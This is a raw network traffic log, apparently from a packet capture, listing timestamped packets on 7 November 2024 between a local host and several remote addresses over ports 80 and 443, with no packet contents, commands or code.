Nov 7, 2024 17:25:47.469152927 CET	443	49987	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:47.469225883 CET	49987	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:47.469225883 CET	49987	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:47.474656105 CET	50000	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.474689007 CET	443	50000	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.474837065 CET	50000	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.475229025 CET	50000	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.475243092 CET	443	50000	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.475599051 CET	50001	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.475615978 CET	443	50001	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.475672007 CET	50001	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.475874901 CET	50001	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.475894928 CET	443	50001	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.478884935 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.478914976 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.479068041 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.479095936 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.480597973 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.494288921 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.494375944 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.494419098 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.494431973 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.494467974 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.494565010 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.496067047 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.496089935 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.496189117 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.496201038 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.496308088 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.541558981 CET	443	49990	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.541609049 CET	443	49990	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.541779041 CET	49990	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.542623043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.542756081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.542833090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.542845011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.542886019 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.542895079 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.542907000 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.542920113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.542929888 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.542938948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.542964935 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.542964935 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.542987108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.542999029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543009043 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.543016911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543035030 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.543035030 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.543206930 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.543529034 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543540955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543551922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543589115 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543601990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543612957 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.543612957 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.543706894 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543714046 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.543723106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543735981 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543755054 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.543796062 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.543816090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543827057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543838978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543849945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543860912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543872118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543880939 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.543890953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543912888 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.543912888 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.543941975 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.543962002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543973923 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543983936 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.543996096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544018984 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544049978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544056892 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544065952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544076920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544107914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544120073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544128895 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544131994 CET	49990	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.544138908 CET	443	49990	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.544143915 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544148922 CET	49990	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.544150114 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544153929 CET	443	49990	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.544193029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544205904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544214010 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544224024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544238091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544245005 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544294119 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544294119 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544321060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544331074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544342041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544354916 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544414997 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544414997 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544425011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544435978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544447899 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544459105 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544471979 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544471979 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544481039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544495106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544507027 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544507027 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544529915 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544536114 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544536114 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544565916 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544576883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544589996 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544609070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544630051 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544703007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544717073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544728041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544739008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544764042 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544764042 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544776917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544790030 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544800043 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544816017 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544827938 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544842958 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544862986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544872046 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544879913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544893980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544902086 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544933081 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544933081 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.544953108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544964075 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.544975996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545063019 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545151949 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545164108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545175076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545186043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545198917 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545205116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545226097 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545244932 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545428038 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545439959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545452118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545470953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545480013 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545480013 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545490980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545501947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545510054 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545510054 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545521975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545532942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545542002 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545542002 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545557976 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545577049 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545595884 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545608044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545619011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545664072 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545664072 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545767069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545824051 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545833111 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545842886 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545865059 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545913935 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545927048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545938969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545950890 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.545963049 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545989990 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.545989990 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.546037912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.546049118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.546060085 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.546071053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.546080112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.546103001 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.546108007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.546118975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.546125889 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.546135902 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.546159029 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.546264887 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.566976070 CET	50002	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.567012072 CET	443	50002	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.567147970 CET	50002	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.567603111 CET	50002	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.567615032 CET	443	50002	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.596088886 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.596112967 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.596293926 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.596308947 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.596422911 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.610178947 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.610213995 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.610316038 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.610316038 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.610332012 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.610548019 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.611440897 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.611470938 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.611568928 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.611568928 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.611577988 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.611872911 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.637964964 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.638050079 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.658148050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.658186913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.658201933 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.658232927 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.658277035 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.658292055 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.658303022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.658329010 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.658340931 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.658354044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.658366919 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.658379078 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.658410072 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.658559084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.658574104 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.658587933 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.658623934 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.658623934 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.658704042 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.658906937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659003019 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659029007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659044027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659096956 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659113884 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659131050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659142971 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659153938 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659168959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659183979 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659193993 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659219027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659229994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659229994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659245968 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659261942 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659270048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659282923 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659293890 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659323931 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659323931 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659356117 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659369946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659384012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659394979 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659411907 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659419060 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659435034 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659444094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659475088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659485102 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659502029 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659516096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659532070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659540892 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659559965 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659574032 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659595966 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659610033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659616947 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659631014 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659646034 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659671068 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659677982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659699917 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659712076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659728050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659738064 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659750938 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659765005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659775972 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659790039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659805059 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659833908 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659856081 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659869909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659910917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659934998 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659941912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659957886 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659967899 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.659981012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.659991026 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660000086 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660024881 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660049915 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660089970 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660104990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660115957 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660142899 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660181999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660196066 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660212040 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660221100 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660234928 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660248995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660259962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660259962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660273075 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660351038 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660417080 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660432100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660443068 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660486937 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660486937 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660518885 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660532951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660547018 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660584927 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660687923 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660726070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660741091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.660751104 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660820007 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.660834074 CET	80	49911	95.215.204.182	192.168.2.6
